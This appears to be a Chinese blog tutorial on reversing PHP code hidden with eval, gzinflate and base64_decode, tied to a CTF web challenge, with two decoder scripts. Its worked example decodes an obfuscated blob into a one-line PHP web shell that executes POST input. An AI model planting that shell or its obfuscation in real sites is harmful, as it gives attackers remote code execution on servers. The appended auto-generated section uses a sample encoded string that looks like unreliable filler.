关于eval gzinflate base64_decode的解密方法

本文详细介绍了如何解密被eval, gzinflate 和 base64_encode 方法加密的PHP代码。通过修改eval为echo,并使用递归函数,可以逐步解码并显示原始PHP代码,适用于网络安全和代码逆向工程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 

源代码

<?php
eval(gzinflate(base64_decode('加密部分 ')));
?>

只需要把eval 改成echo即可输出明文内容

相关题目:https://cgctf.nuptsast.com/challenges#Web        的PHP encode

 

如果改为echo还是类似的内容可以使用以下的的解密方法:

解法1:

<?php

//已经加密的文件内容
$a = "eval(gzinflate(base64_decode('这里面放BASE64代码')));";
function decodephp($a)
{
    $max_level = 300; //最大层数
    for ($i = 0; $i < $max_level; $i++) {
        ob_start();
        eval(str_replace('eval', 'echo', $a));
        $a = ob_get_clean();
        if (strpos($a, 'eval(gzinflate(base64_decode') === false) {
            return $a;
        }
    }
}

echo decodephp($a);
?>

解法2:

<?php

$a = file_get_contents("加密.php"); //含有eval语句的文本文件
//将有eval(gzinflate(base64_decode的加密文件只留eval(gzinflate(base64_decode('...');"语句
//其他诸如"<?"等信息都去掉并保存文件为"加密.php"
while (strstr($a, "eval")) {
    ob_start();
    eval(str_replace("eval", "echo", $a));
    $a = ob_get_contents();
}
echo $a;
?>

 

例子:

下面这个例子用echo也无法解密,但是可以用上面的2个方法

<?php
echo(gzinflate(base64_decode('DdS3EqNWAEDRfn/Eu0NBTmOPd8hCpEcWNB7CAyRA5Pj13u42p72///3n99iMP37APet+1vf7W3XZCn/m2QIZ6r8SFkMJf/4ll96jnWxdUGSvipB2wnTz8xBSECiRrp8C1DlCud/NqVu1lcEKLGq1V+jN3hxKkTvHZ6uSVWv0zUV0hZ1f9a9xJPwBpYbrQc0Xw5YJAUra6iKodOSy5tPe7Gt7fRLuqRnu0IO7HmRrVD1fxFeK2f2O1fv5wqik6ci0XuSjF4Swsih9w1QiGhdHod7s1r9EhnivBnLsmn4xa4lbDA6WrAPtdbdEHOZswZhkFO3s0/HloCA9DY8P4+bJkXLIdchUxFHPTxKZWt+WnWmGLXhiQHN3qm0Q6VnoO3vY/ckHsWOIGlV8XMV+UaZEcKBPsZgj+S7kKISh2ZQiNnVK4zlHRIt6B3jDl1Q4+e1dy5ZqmXb73JPXtWn+17i/hvBQFlEdrFopoTeovgwy5WxlIZVZNEnYBYkG6g9OQrBgxMC7yVs6jwjMpoeCIIio/dFLm3cHTaA141F+CvRT0swD9PPbqdBl3Hyo7kclQMFmTIumUi3tyVEMWI6S7DE3Ycn148vqQGTmZJx9OU5gjQg5gjN2jZ1QDgALD40TJJQQGj9S4JXm6GlyYW3wDViCyCEpeB4wiJWX8za3/WYMePG2i03eKDCHrtUlY1qsOEje1ZNI0Vys8DHUy5iAW/yVvs+mESrbTA9BLQtsI52NNSsmEQ5J8FHadb0gFXiQsWTHoOfByWnW9zaJz/uTND4Mts76xBqIVB48F1l7rvf50Dg+XBai/DzNS40ITBXbsJxjsOjqWKN9/piDp6nOSUu+0qwz8KM4ibR1MLL6TpK4PKjNd+0IWZE/8R3myU3TJ+X3/ZiO1ewlH/p8PBoGh6C+71RfrG7Ir7kSri3QDmWGZ+v3rIjfsIqVqCfPGwZPxV6+CoRE60eY1DhE57EGl77cJtPd7aKbY44XEjjTsqZGpaYLy4VEWORuuCAcYz0TTtc8Ui7UpgaqpU7NSSi4r7wnLLHlmXA8tbSA+9CZvhz77ZWq7A37rvoMFytqNlzcb6NQnEu/wzMusfJBn68TzeTtcpGEdujKeOnrFngtW8RO7VTMIm5evd80RnEQ0+O78O+JYEMd5a9stxWXWxWJaKV6qiTPYXxFV/rdUhFGQmb+jbmHML4fHF/tLILuYKYRNEHr6q9fv379/eP3nxn9Dw==')));
?>

输出的结果为

<?php eval($_POST[coo0l]);?>

参考资料:https://www.yziw.net/archives/1643.html

                   https://www.waitalone.cn/eval-gzinflate-base64_decode-decryption.html

 

 

### 关于 `eval`、`gzuncompress` 及 `base64_decode` 的解密算法及其安全性 #### 使用场景与功能描述 `eval()` 是一种危险的功能,在 PHP 中用于执行字符串作为代码[^2]。这使得任何能够控制传递给 `eval()` 参数的人都可以执行任意代码。 `gzuncompress()` 函数用来解压缩由 `gzcompress()`, `gzdeflate()` 或者 `gzencode()` 创建的数据流。此函数返回解压后的数据,如果失败则返回 `FALSE`。 `base64_decode()` 将使用 MIME 基础 64 编码的数据转换回原始数据。该函数尝试解码并返回所提供的 data 字符串;如果没有成功,则返回 `false`。 #### 示例代码展示 下面是一个简单的例子来说明如何组合这三个函数: ```php <?php $encodedData = '7XzBwcHBQ0JCRUVGRkdISUpLTVlNT1BRUlNUV1dYWFlaWVFRUVFQUFBTUFJTUkxMTExMTEwMDAwMDBhYmNjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXp8fHx+fiv//'; // 已经被 base64_encode, gzcompress 处理过的字符串 $decodedBase64 = base64_decode($encodedData); // 首先进行 Base64 解码 $decompressedGzip = @gzuncompress($decodedBase64); // 接着解除 gzip 压缩 if ($decompressedGzip !== false) { $result = eval('return (' . $decompressedGzip . ');'); // 执行最终得到的 PHP 代码片段,并获取其返回值 } else { echo "Decompression failed."; } ?> ``` 需要注意的是上述示例仅作教学用途,请勿在生产环境中随意运行未经验证或不可信源提供的编码/加密内容。 #### 安全性考量 利用这些函数处理来自外部输入的内容是非常不安全的做法,因为攻击者可能注入恶意脚本并通过这种方式获得服务器上的权限。为了提高应用程序的安全性,建议遵循以下最佳实践: - **避免不必要的复杂度**:尽可能简化逻辑流程,减少潜在漏洞点。 - **严格过滤用户输入**:对于所有形式的动态参数都要实施严格的白名单机制。 - **禁用危险特性**:除非绝对必要,否则应关闭如 `allow_url_include` 这样的配置项以防止远程文件包含风险。 - **定期审查依赖库版本**:确保使用的第三方组件都是最新稳定版,并及时修补已知缺陷。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值